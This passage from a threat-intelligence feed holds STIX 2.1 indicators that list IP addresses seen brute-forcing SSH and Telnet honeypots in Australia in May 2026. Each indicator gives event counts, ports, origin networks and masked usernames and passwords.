      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--eaf64cbd-d2f0-4548-a451-22b9126ee7ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.217.156.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 41608. Organisation(s): NextGenWebs, S.L.. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--1ab6f191-0bd5-4756-813e-2a7eea912cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.151.34.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): a***n. Passwords observed (masked): a********0.",
      "id": "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9770. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--7e69e8a1-fd9e-43da-8470-a4064384f84a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.18.100.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): o**o, 3**********4, a***n, g***t, u****u. Passwords observed (masked): 1******A, 3***********4, 3**********4, P********!, a********0.",
      "id": "indicator--6563daf0-7544-40b0-b3d3-f5b1ab5661cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18229. Organisation(s): CtrlS. Usernames observed (masked): r**t, o****e, t**t, u****u, u**r. Passwords observed (masked): ***, 1**1, 1****1, 1****1, 1****6.",
      "id": "indicator--56535f23-bc31-4224-945e-c6b440cb493b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.18.161.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17854. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--6bef47fa-2b06-4b26-b3cb-c8e4f71ad0b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.232.241.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): g***t. Passwords observed (masked): P********!.",
      "id": "indicator--cffd247e-f4c6-4c08-9426-655eb9c8fdf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.249.247.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208859. Organisation(s): FACT LTD.",
      "id": "indicator--0621c54f-0ea8-412b-95e3-7d01a96d542e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.81.146.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:15:10.000Z",
      "valid_until": "2026-06-03T11:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 149925. Organisation(s): PT Sakti Wijaya Network.",
      "id": "indicator--213ab17b-60a3-4735-b9f5-9fd0669f7101",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.191.165.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 58926. Organisation(s): Banglanet.",
      "id": "indicator--46c10cfa-f8b4-433b-9042-91c7bd76d80a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.248.236.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 393. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): u****u, r**t, 3**********4, a***n, k***a. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, *.",
      "id": "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--dd31ba73-57cf-46a9-979f-f434e2bebdc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.26.162.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266171. Organisation(s): MUSSEL NET TELECOMUNICACOES EIRELE ME.",
      "id": "indicator--7ff25fe8-4ecd-4f08-af94-1552928c56c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.19.174.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--b64e9847-ee9f-4eec-8c85-3d13c4834d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.50.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--89bb4efe-4b92-4aa6-9d32-85a041bb1b83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.249.33.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 200651. Organisation(s): FlokiNET ehf.",
      "id": "indicator--f0d23ad6-534e-489f-9ed0-89716170d10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.100.87.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, a****e, ***, g*****n, l********e. Passwords observed (masked): 1****6, *, !******r, !******X, !******X.",
      "id": "indicator--15571977-b28f-4602-847f-56c3dbdf1a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.164.21.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--913fd7b8-9083-44bb-9278-241f38d35fbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 327693. Organisation(s): ECHO-SP.",
      "id": "indicator--14b46a5f-e5bc-404c-b20a-74a7503155e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.198.151.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): u****u, a***n, r**t, d******r, s***m. Passwords observed (masked): 1******8, 1****e, !***%, *, 1****3.",
      "id": "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.38.52.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BB. ASN(s): 14813. Organisation(s): Columbus Telecommunications Barbados Limited.",
      "id": "indicator--f6103afb-496b-4ad0-8b6f-12ea55629dfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.22.151.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:15:10.000Z",
      "valid_until": "2026-06-03T12:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 265757. Organisation(s): Intersur Limitada.",
      "id": "indicator--e10edb22-4f0e-4806-89c5-8740ff964534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.196.179.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264119. Organisation(s): UBA CONECT TELECOM LTDA - ME.",
      "id": "indicator--107fe948-600f-4702-a385-b0de8075d878",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.59.219.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): U*********************0, G************1, G*****************************1, G******************************1. Passwords observed (masked): H**********************3, C***************e, A**********.",
      "id": "indicator--da89cfba-0ecb-4d78-b4f2-1d87b25b630b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.172.117.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--d382f44e-51ba-4cf3-929a-ca966f092f63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.239.190.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ce1e6368-6470-4b82-98e0-bde43cb86853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, r**t, a***n, ***, m***l. Passwords observed (masked): 1****3, 1**4, 1***5, 1*****., 1*******9.",
      "id": "indicator--de8102b8-c805-4f2f-b857-78eb4456d756",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.71.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, 3**********4, a***n, a***********r, d******r. Passwords observed (masked): *, 1******r, 3***********4, 3**********4, A******6.",
      "id": "indicator--30089ee8-4ce9-4d06-ba3c-3be5c09f0dfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.157.151.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--1ad260ca-a38a-4b7a-a9c2-90e9d7562161",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.146.20.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): ***, b*************************************************************************************************************************************************************************************************\", b****************************************************************************************************************************************************'. Passwords observed (masked): \u0000***********************************************\b, b*********************************************************************************************************************************************************************************************************************************'.",
      "id": "indicator--d1ecc734-6e5d-45c7-af21-4c9ef521712e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c58f841e-a00a-425e-a81b-f6aaa736444b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--94ffdcb5-1f89-46a6-a13e-923c4761db50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:15:10.000Z",
      "valid_until": "2026-06-03T13:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
